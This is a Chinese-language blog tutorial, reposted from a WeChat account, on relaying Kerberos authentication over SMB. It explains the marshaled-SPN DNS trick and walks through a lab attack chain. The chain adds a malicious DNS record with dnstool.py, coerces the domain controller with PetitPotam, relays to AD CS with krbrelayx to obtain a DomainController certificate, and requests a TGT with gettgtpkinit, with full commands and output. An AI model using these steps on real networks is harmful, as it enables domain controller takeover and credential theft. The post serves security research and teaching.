域渗透系列 - 通过 SMB 进行Kerberos Relay

admin 2025年6月7日14:30:43评论6 views字数 2950阅读9分50秒阅读模式

域渗透系列 - 通过 SMB 进行Kerberos Relay

“ Kerberos 中继曾经被认为是不可能的,但后来多位研究人员证明了事实并非如此。
域渗透系列 - 通过 SMB 进行Kerberos Relay

前言

我们在《域渗透系列 - Kerberos Relay 概述》中大致介绍了 Kerberos Raly 的相关概念,在《域渗透系列 - 通过 DNS 进行Kerberos Relay》中介绍了基于DNS的kerberos Relay技术,本篇将继续介绍另一种kerberos Relay方法,基于SMB的kerberos Relay
基于 SMB 的 Kerberos
当 SMB 客户端从服务类和名称建 SPN 时,将调用 SecMakeSPNEx2 方法。 对于主机名 fileserver 和服务类 cifs,返回的 SPN 将如下所示:
cifs/fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA

SecMakeSPNEx2 函数调用 API 函数 CredMarshalTargetInfo。此 API 采用 CREDENTIAL_TARGET_INFORMATION 结构中的目标信息列表,使用 Base64 编码对其进行封送,并将其附加到实际 SPN 的末尾。

如果我们注册 DNS 记录fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA ,客户端会向 cifs/fileserver 请求 Kerberos 票证,但会连接到fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA 。

在后台,客户端将调用 CredUnmarshalTargetInfo 来分析封送的目标信息。但是,客户端不考虑未封送的结果。相反,它只是确定封送数据的长度,并从目标 SPN 字符串的末尾删除该部分。因此,当 Kerberos 软件包收到目标名称时,它已还原到原始 SPN。

使用Krbrelayx进行krbrelay

我们将使用 krbrelayx 工具来实验这种技术。尽管这个工具最初并不是专门为中继Kerberos身份验证而设计的,但在2022年的更新中,它增加了对这一功能的支持。具体实现是通过DNS进行的,但工具本身已经内置了一个SMB服务器,可以用于支持所有与不受约束的委派攻击相关的Kerberos操作。

这种设计使得krbrelayx不仅能够处理DNS相关的Kerberos中继,还能扩展到其他协议(如SMB),从而为测试和研究提供了更大的灵活性。

首先,如先前所述,我们需要注册恶意记录,并让它指向攻击者的计算机 (172.16.1.146):

$ dnstool.py -u "INDUS.LOCAL\user" -p "pass" -r "pki41UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "172.16.1.146" --action add"172.16.1.3" --tcp[-] Connecting to host...[-] Binding to host[+] Bind OK[-] Adding new record[+] LDAP operation completed successfully

使用任意强制认证技术试域控向我们发起强制身份验证:

$ petitpotam.py -u 'user' -p 'pass' -d INDUS.LOCAL 'pki41UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' dc03.indus.local

通过查看 Wireshark,我们可以观察到以下内容:

域渗透系列 - 通过 SMB 进行Kerberos Relay

恶意 SMB 服务器收到 AP_REQ 消息,指示必要的功能已集成到该工具中。krbrelayx 使我们能够轻松地将 DNS Kerberos 服务器中的几行代码合并到 SMB 服务器中。在实施了 AP_REQ 提取部分后,从 AP_REQ 派生的身份验证数据随后将传递给 ntlmrelayx 支持的各种攻击。对于 HTTP,此过程非常简单,AP_REQ 是 Base64 编码的,并包含在标头中 Authorization: Kerberos base64_AP_REQ

结果如下:

$ krbrelayx.py -t 'http://pki4.indus.local/certsrv/certfnsh.asp' --adcs --template DomainController -v 'DC03$'[*] Protocol Client LDAP loaded..[*] Protocol Client LDAPS loaded..[*] Protocol Client SMB loaded..[*] Protocol Client HTTP loaded.. [*] Protocol Client HTTPS loaded..[*] Running in attack mode to single host[*] Running in kerberos relay mode because no credentials were specified.[*] Setting up SMB Server[*] Setting up HTTP Server on port 80[*] Setting up DNS Server[*] Servers started, waiting for connections[*] SMBD: Received connection from 172.16.1.3[*] HTTP server returned status code 200, treating as a successful login[*] SMBD: Received connection from 172.16.1.3[*] HTTP server returned status code 200, treating as a successful login[*] Generating CSR...[*] CSR generated![*] Getting certificate...[*] GOT CERTIFICATE! ID 32[*] Writing PKCS#12 certificate to ./DC03$.pfx[*] Certificate successfully written to file[*] Skipping user DC03$ since attack was already performed

然后,可以使用生成的 PFX 向 DC 请求 TGT:

$ gettgtpkinit.py -cert-pfx 'DC03$.pfx' 'INDUS.LOCAL/DC03$' DC03.ccacheINFO:Loading certificate and key from file                             INFO:Requesting TGT                       INFO:AS-REP encryption key (you might need this later):INFO:5aed9cb3f2f7af161efe2d43119e87a2dade54bed6bd4602d82051ecbac549a1INFO:Saved TGT to file   

域渗透系列 - 通过 SMB 进行Kerberos Relay域渗透系列 - 通过 SMB 进行Kerberos Relay

域渗透系列 - 通过 SMB 进行Kerberos Relay域渗透系列 - 通过 SMB 进行Kerberos Relay

原文始发于微信公众号(WH0sec):域渗透系列 - 通过 SMB 进行Kerberos Relay

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月7日14:30:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   域渗透系列 - 通过 SMB 进行Kerberos Relayhttps://cn-sec.com/archives/3776632.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息